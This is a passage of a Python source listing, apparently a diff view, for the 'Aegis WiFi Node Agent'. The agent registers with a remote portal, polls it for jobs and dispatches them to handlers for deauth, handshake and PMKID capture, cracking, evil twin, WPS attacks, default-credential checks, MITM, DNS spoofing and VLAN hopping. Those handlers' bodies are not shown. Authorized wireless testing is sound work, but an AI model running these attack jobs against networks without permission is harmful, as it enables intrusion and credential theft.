2782
|
+
else:
|
|
2783
|
+
buf.write('[-] No adjacent subnets reachable — segmentation appears intact\n')
|
|
2784
|
+
buf.write('=' * 60 + '\n')
|
|
2785
|
+
buf.flush()
|
|
2786
|
+
|
|
2787
|
+
client.send_result(jid, {
|
|
2788
|
+
'vlan_hop_success': len(reachable_vlans) > 0,
|
|
2789
|
+
'reachable_vlans': reachable_vlans,
|
|
2790
|
+
'subnets_tested': tested,
|
|
2791
|
+
'reached_vlan': reachable_vlans[0]['subnet'] if reachable_vlans else '',
|
|
2792
|
+
})
|
|
2793
|
+
|
|
2794
|
+
|
|
2795
|
+
# ── Job dispatch ─────────────────────────────────────────────────────────
|
|
2796
|
+
|
|
2797
|
+
JOB_HANDLERS = {
|
|
2798
|
+
# P1: managed-mode
|
|
2799
|
+
'scan': execute_scan,
|
|
2800
|
+
'internal_scan': execute_internal_scan,
|
|
2801
|
+
'service_enum': execute_service_enum,
|
|
2802
|
+
'rogue_detect': execute_rogue_detect,
|
|
2803
|
+
'capture': execute_capture,
|
|
2804
|
+
'captive_test': execute_captive_test,
|
|
2805
|
+
'network_join': execute_network_join,
|
|
2806
|
+
# P2: monitor-mode
|
|
2807
|
+
'hidden_scan': execute_hidden_scan,
|
|
2808
|
+
'handshake_cap': execute_handshake_capture,
|
|
2809
|
+
'pmkid_harvest': execute_pmkid_harvest,
|
|
2810
|
+
'deauth_capture': execute_deauth_capture,
|
|
2811
|
+
# P3: crack
|
|
2812
|
+
'crack': execute_crack,
|
|
2813
|
+
# P5: WPA Enterprise + Evil Twin
|
|
2814
|
+
'eap_test': execute_eap_test,
|
|
2815
|
+
'evil_twin': execute_evil_twin,
|
|
2816
|
+
# P6: Full Pentest Toolkit
|
|
2817
|
+
'wps_attack': execute_wps_attack,
|
|
2818
|
+
'probe_harvest': execute_probe_harvest,
|
|
2819
|
+
'encrypt_audit': execute_encryption_audit,
|
|
2820
|
+
'sister_scan': execute_sister_scan,
|
|
2821
|
+
'router_admin': execute_router_admin,
|
|
2822
|
+
'default_creds': execute_default_creds,
|
|
2823
|
+
'mitm_test': execute_mitm_test,
|
|
2824
|
+
'dns_spoof_test': execute_dns_spoof_test,
|
|
2825
|
+
'vlan_hop': execute_vlan_hop,
|
|
2826
|
+
}
|
|
2827
|
+
|
|
2828
|
+
|
|
2829
|
+
def run_job(client: AegisNodeClient, job: dict):
|
|
2830
|
+
"""Dispatch a job to the appropriate handler."""
|
|
2831
|
+
kind = job.get('kind', '')
|
|
2832
|
+
handler = JOB_HANDLERS.get(kind)
|
|
2833
|
+
if not handler:
|
|
2834
|
+
client.send_error(job['job_id'], f'Unknown job kind: {kind}')
|
|
2835
|
+
return
|
|
2836
|
+
try:
|
|
2837
|
+
handler(client, job)
|
|
2838
|
+
except Exception as e:
|
|
2839
|
+
log.exception('Job %s failed', job.get('job_id'))
|
|
2840
|
+
try:
|
|
2841
|
+
client.send_error(job['job_id'], str(e)[:500])
|
|
2842
|
+
except Exception:
|
|
2843
|
+
pass
|
|
2844
|
+
|
|
2845
|
+
|
|
2846
|
+
# ── Main loop ────────────────────────────────────────────────────────────
|
|
2847
|
+
|
|
2848
|
+
def _device_auth_flow(server: str, no_browser: bool = False, portal_url: str = None) -> tuple:
|
|
2849
|
+
"""Browser-based device authorization — opens portal in browser for approval.
|
|
2850
|
+
|
|
2851
|
+
Returns (session_id, token) on success, exits on failure.
|
|
2852
|
+
"""
|
|
2853
|
+
import platform
|
|
2854
|
+
import webbrowser
|
|
2855
|
+
|
|
2856
|
+
server = server.rstrip('/')
|
|
2857
|
+
base_url = f'{server}/api/autobot/wifi-node'
|
|
2858
|
+
|
|
2859
|
+
# Collect device info for the approval screen
|
|
2860
|
+
hostname = platform.node()
|
|
2861
|
+
os_info = f'{platform.system()} {platform.release()}'
|
|
2862
|
+
try:
|
|
2863
|
+
from .adapters import detect_adapters
|
|
2864
|
+
adapters = detect_adapters()
|
|
2865
|
+
adapter_name = adapters[0]['chipset'] if adapters else ''
|
|
2866
|
+
except Exception:
|
|
2867
|
+
adapter_name = ''
|
|
2868
|
+
|
|
2869
|
+
# Step 1: Request device code
|
|
2870
|
+
log.info('Requesting authorization...')
|
|
2871
|
+
try:
|
|
2872
|
+
r = requests.post(f'{base_url}/device-auth/start', json={
|
|
2873
|
+
'hostname': hostname,
|
|
2874
|
+
'os': os_info,
|
|
2875
|
+
'adapter': adapter_name,
|
|
2876
|
+
}, timeout=15)
|
|
2877
|
+
r.raise_for_status()
|
|
2878
|
+
data = r.json()
|
|
2879
|
+
except Exception as e:
|
|
2880
|
+
log.error('Failed to start device authorization: %s', e)
|
|
2881
|
+
sys.exit(1)
|
|
2882
|
+
|
|
2883
|
+
device_code = data['device_code']
|
|
2884
|
+
user_code = data['user_code']
|
|
2885
|
+
expires_in = data.get('expires_in', 300)
|
|
2886
|
+
interval = data.get('interval', 2)
|
|
2887
|
+
|
|
2888
|
+
# Step 2: Determine portal URL for browser auth
|
|
2889
|
+
if portal_url:
|
|
2890
|
+
portal_base = portal_url.rstrip('/')
|
|
2891
|
+
else:
|
|
2892
|
+
from urllib.parse import urlparse
|
|
2893
|
+
parsed = urlparse(server)
|
|
2894
|
+
host = parsed.hostname or ''
|
|
2895
|
+
# aegis.red.divoltbtc.com → portal.aegis.divoltbtc.com
|
|
2896
|
+
# Strip env subdomains between 'aegis' and the base domain
|
|
2897
|
+
parts = host.split('.')
|
|
2898
|
+
if parts[0] == 'aegis' and len(parts) > 2:
|
|
2899
|
+
base_domain = '.'.join(parts[-2:])
|
|
2900
|
+
portal_host = f'portal.aegis.{base_domain}'
|
|
2901
|
+
else:
|
|
2902
|
+
portal_host = host
|
|
2903
|
+
portal_base = f'{parsed.scheme}://{portal_host}'
|
|
2904
|
+
authorize_url = f'{portal_base}/wifi-nodes/authorize/{user_code}'
|
|
2905
|
+
|
|
2906
|
+
c = not _no_color()
|
|
2907
|
+
B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
|
|
2908
|
+
BL = _BLUE if c else ''
|
|
2909
|
+
|
|
2910
|
+
print()
|
|
2911
|
+
print(f' {CY}{B}DEVICE AUTHORIZATION{R}')
|
|
2912
|
+
print(f' {D}{"─" * 48}{R}')
|
|
2913
|
+
print()
|
|
2914
|
+
print(f' {D}Verification code:{R}')
|
|
2915
|
+
print(f' {BL}{B} ┌─────────────────┐{R}')
|
|
2916
|
+
print(f' {BL}{B} │ {user_code} │{R}')
|
|
2917
|
+
print(f' {BL}{B} └─────────────────┘{R}')
|
|
2918
|
+
print()
|
|
2919
|
+
print(f' {D}Authorize at:{R}')
|
|
2920
|
+
print(f' {W}{B}{authorize_url}{R}')
|
|
2921
|
+
print()
|
|
2922
|
+
print(f' {D}Confirm the code matches in your browser,{R}')
|
|
2923
|
+
print(f' {D}then click{R} {G}"Authorize Device"{R}{D}.{R}')
|
|
2924
|
+
print()
|
|
2925
|
+
print(f' {D}Expires in {expires_in}s. Waiting...{R}')
|
|
2926
|
+
print(f' {D}{"─" * 48}{R}')
|
|
2927
|
+
print()
|
|
2928
|
+
|
|
2929
|
+
if not no_browser:
|
|
2930
|
+
try:
|
|
2931
|
+
webbrowser.open(authorize_url)
|
|
2932
|
+
log.info('Opened browser for authorization')
|
|
2933
|
+
except Exception:
|
|
2934
|
+
log.info('Could not open browser — visit the URL above manually')
|
|
2935
|
+
|
|
2936
|
+
# Step 3: Poll for approval
|
|
2937
|
+
deadline = time.monotonic() + expires_in
|
|
2938
|
+
while time.monotonic() < deadline and RUNNING:
|
|
2939
|
+
time.sleep(interval)
|
|
2940
|
+
try:
|
|
2941
|
+
r = requests.post(f'{base_url}/device-auth/poll', json={
|
|
2942
|
+
'device_code': device_code,
|
|
2943
|
+
}, timeout=15)
|
|
2944
|
+
resp = r.json()
|
|
2945
|
+
|
|
2946
|
+
if resp.get('status') == 'approved':
|
|
2947
|
+
log.info('Authorization approved!')
|
|
2948
|
+
print(f'\n {G}{B}✓ Authorized!{R} {D}Connecting...{R}\n')
|
|
2949
|
+
return (resp['session_id'], resp['token'])
|
|
2950
|
+
|
|
2951
|
+
if resp.get('status') == 'denied':
|
|
2952
|
+
log.error('Authorization was denied')
|
|
2953
|
+
sys.exit(1)
|
|
2954
|
+
|
|
2955
|
+
if r.status_code == 410:
|
|
2956
|
+
log.error('Device code expired')
|
|
2957
|
+
sys.exit(1)
|
|
2958
|
+
|
|
2959
|
+
# Still pending — continue polling
|
|
2960
|
+
except requests.exceptions.ConnectionError:
|
|
2961
|
+
log.warning('Portal unreachable, retrying...')
|
|
2962
|
+
except Exception as e:
|
|
2963
|
+
log.warning('Poll error: %s', e)
|
|
2964
|
+
|
|
2965
|
+
log.error('Authorization timed out (no response within %ds)', expires_in)
|
|
2966
|
+
sys.exit(1)
|
|
2967
|
+
|
|
2968
|
+
|
|
2969
|
+
def main():
|
|
2970
|
+
parser = argparse.ArgumentParser(
|
|
2971
|
+
description='Aegis WiFi Node Agent — wireless network assessment tool',
|
|
2972
|
+
epilog='Run "preflight" first to check your system is ready.',
|
|
2973
|
+
)
|
|
2974
|
+
sub = parser.add_subparsers(dest='command')
|
|
2975
|
+
|
|
2976
|
+
pf = sub.add_parser('preflight', help='Check system readiness (adapters, tools, deps)')
|
|
2977
|
+
pf.add_argument('--install', action='store_true',
|
|
2978
|
+
help='Auto-install missing tools via apt (requires sudo)')
|
|
2979
|
+
|
|
2980
|
+
connect = sub.add_parser('connect', help='Connect to the Aegis portal')
|
|
2981
|
+
connect.add_argument('--token', help='One-time bearer token (skip browser auth)')
|
|
2982
|
+
connect.add_argument('--session', type=int, help='Session ID (required with --token)')
|
|
2983
|
+
connect.add_argument('--server', default='https://portal.aegis.divoltbtc.com', help='Portal base URL (default: portal.aegis.divoltbtc.com)')
|
|
2984
|
+
connect.add_argument('--skip-preflight', action='store_true',
|
|
2985
|
+
help='Skip dependency check on connect')
|
|
2986
|
+
connect.add_argument('--no-browser', action='store_true',
|
|
2987
|
+
help='Print the authorization URL instead of opening a browser')
|
|
2988
|
+
connect.add_argument('--portal', help='Portal URL for browser auth (auto-derived from --server if omitted)')
|
|
2989
|
+
|
|
2990
|
+
args = parser.parse_args()
|
|
2991
|
+
|
|
2992
|
+
if not args.command:
|
|
2993
|
+
if not _no_color():
|
|
2994
|
+
print(BANNER)
|
|
2995
|
+
parser.print_help()
|
|
2996
|
+
sys.exit(1)
|
|
2997
|
+
|
|
2998
|
+
if not _no_color():
|
|
2999
|
+
print(BANNER)
|
|
3000
|
+
|
|
3001
|
+
if args.command == 'preflight':
|
|
3002
|
+
ok = preflight_check(auto_install=args.install)
|
|
3003
|
+
sys.exit(0 if ok else 1)
|
|
3004
|
+
|
|
3005
|
+
# ── connect ──
|
|
3006
|
+
if not args.skip_preflight:
|
|
3007
|
+
log.info('Running preflight check...')
|
|
3008
|
+
ready = preflight_check()
|
|
3009
|
+
if not ready:
|
|
3010
|
+
log.error('Preflight failed — run with --install to fix, or --skip-preflight to bypass')
|
|
3011
|
+
sys.exit(1)
|
|
3012
|
+
log.info('Preflight passed')
|
|
3013
|
+
|
|
3014
|
+
if args.token and args.session:
|
|
3015
|
+
# Legacy token flow — direct credentials
|
|
3016
|
+
session_id = args.session
|
|
3017
|
+
token = args.token
|
|
3018
|
+
elif args.token or args.session:
|
|
3019
|
+
log.error('--token and --session must be used together')
|
|
3020
|
+
sys.exit(1)
|
|
3021
|
+
else:
|
|
3022
|
+
# Browser-based device authorization flow
|
|
3023
|
+
session_id, token = _device_auth_flow(args.server, args.no_browser,
|
|
3024
|
+
portal_url=getattr(args, 'portal', None))
|
|
3025
|
+
|
|
3026
|
+
client = AegisNodeClient(args.server, session_id, token)
|
|
3027
|
+
|
|
3028
|
+
from .adapters import detect_adapters, get_host_info
|
|
3029
|
+
|
|
3030
|
+
adapters = detect_adapters()
|
|
3031
|
+
if not adapters:
|
|
3032
|
+
log.error('No compatible USB WiFi adapter detected')
|
|
3033
|
+
sys.exit(1)
|
|
3034
|
+
|
|
3035
|
+
adapter = adapters[0]
|
|
3036
|
+
host = get_host_info()
|
|
3037
|
+
log.info('Detected adapter: %s (%s)', adapter['chipset'], adapter['vid_pid'])
|
|
3038
|
+
log.info('Monitor mode: %s Injection: %s', adapter['cap_monitor_mode'], adapter['cap_injection'])
|
|
3039
|
+
|
|
3040
|
+
# Register with portal — retry on transient failures
|
|
3041
|
+
registered = False
|
|
3042
|
+
for attempt in range(5):
|
|
3043
|
+
try:
|
|
3044
|
+
resp = client.register(adapter, host)
|
|
3045
|
+
if not resp.get('ok'):
|
|
3046
|
+
log.error('Registration failed: %s', resp.get('error'))
|
|
3047
|
+
sys.exit(1)
|
|
3048
|
+
log.info('Registered with portal (session %s)', client.session_id)
|
|
3049
|
+
registered = True
|
|
3050
|
+
break
|
|
3051
|
+
except requests.exceptions.ConnectionError:
|
|
3052
|
+
delay = min(5 * (2 ** attempt), 60)
|
|
3053
|
+
log.warning('Portal unreachable (attempt %d/5), retrying in %ds...', attempt + 1, delay)
|
|
3054
|
+
time.sleep(delay)
|
|
3055
|
+
except Exception as e:
|
|
3056
|
+
log.error('Failed to connect to portal: %s', e)
|
|
3057
|
+
sys.exit(1)
|
|
3058
|
+
|
|
3059
|
+
if not registered:
|
|
3060
|
+
log.error('Could not reach portal after 5 attempts')
|
|
3061
|
+
sys.exit(1)
|
|
3062
|
+
|
|
3063
|
+
# Poll loop with reconnect backoff and heartbeat
|
|
3064
|
+
log.info('Polling for jobs (Ctrl+C to stop)...')
|
|
3065
|
+
consecutive_errors = 0
|
|
3066
|
+
last_heartbeat = time.monotonic()
|
|
3067
|
+
|
|
3068
|
+
while RUNNING:
|
|
3069
|
+
try:
|
|
3070
|
+
resp = client.poll()
|
|
3071
|
+
consecutive_errors = 0
|
|
3072
|
+
last_heartbeat = time.monotonic()
|
|
3073
|
+
|
|
3074
|
+
job = resp.get('job')
|
|
3075
|
+
if job:
|
|
3076
|
+
log.info('Received job %s (%s)', job.get('job_id'), job.get('kind'))
|
|
3077
|
+
run_job(client, job)
|
|
3078
|
+
else:
|
|
3079
|
+
sleep_s = resp.get('sleep_s', POLL_INTERVAL)
|
|
3080
|
+
time.sleep(sleep_s)
|
|
3081
|
+
|
|
3082
|
+
except requests.exceptions.ConnectionError:
|
|
3083
|
+
consecutive_errors += 1
|
|
3084
|
+
delay = min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
|
|
3085
|
+
log.warning('Connection lost (streak %d), retrying in %ds...', consecutive_errors, delay)
|
|
3086
|
+
time.sleep(delay)
|
|
3087
|
+
except requests.exceptions.HTTPError as e:
|
|
3088
|
+
if e.response is not None and e.response.status_code == 401:
|
|
3089
|
+
log.error('Token rejected (401) — session may have expired. Exiting.')
|
|
3090
|
+
sys.exit(1)
|
|
3091
|
+
consecutive_errors += 1
|
|
3092
|
+
delay = min(10 * (2 ** consecutive_errors), MAX_RECONNECT_DELAY)
|
|
3093
|
+
log.warning('HTTP error %s (streak %d), retrying in %ds...', e, consecutive_errors, delay)
|
|
3094
|
+
time.sleep(delay)
|
|
3095
|
+
except Exception as e:
|
|
3096
|
+
consecutive_errors += 1
|
|
3097
|
+
log.warning('Poll error: %s (streak %d)', e, consecutive_errors)
|
|
3098
|
+
time.sleep(min(POLL_INTERVAL * (2 ** consecutive_errors), MAX_RECONNECT_DELAY))
|
|
3099
|
+
|
|
3100
|
+
log.info('Agent stopped')
|
|
3101
|
+
|
|
3102
|
+
|
|
3103
|
+
if __name__ == '__main__':
|
|
3104
|
+
main()
|